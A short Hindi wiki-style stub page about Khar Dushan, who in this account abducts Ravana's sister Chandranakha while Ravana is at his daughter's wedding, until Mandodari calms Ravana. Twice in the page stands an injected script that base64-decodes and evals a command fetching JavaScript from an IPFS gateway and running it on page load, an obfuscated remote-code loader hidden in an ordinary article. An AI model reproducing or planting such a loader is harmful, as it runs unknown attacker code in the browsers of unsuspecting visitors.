खर दूषण
नेविगेशन पर जाएँ
खोज पर जाएँ
पन्ना बनने की प्रक्रिया में है। आप इसको तैयार कर सकते हैं। हिंदी (देवनागरी) टाइप की सुविधा संपादन पन्ने पर ही उसके नीचे उपलब्ध है। |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
खर दूषण / Khar Dushan
- मेघप्रभ के पुत्र खर दूषण ने रावण की अनुपस्थिती में उसकी बहन चंद्रनखा का अपहरण कर लिया।
- उस समय रावण अपनी कन्या अवली के विवाह में व्यस्त था।
- लौटने पर समस्त समाचार जानकर रावण खर दूषण को मारने के लिए उद्धत हुआ किंतु मंदोदरी ने समझा-बुझाकर उसे शांत कर दिया।
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>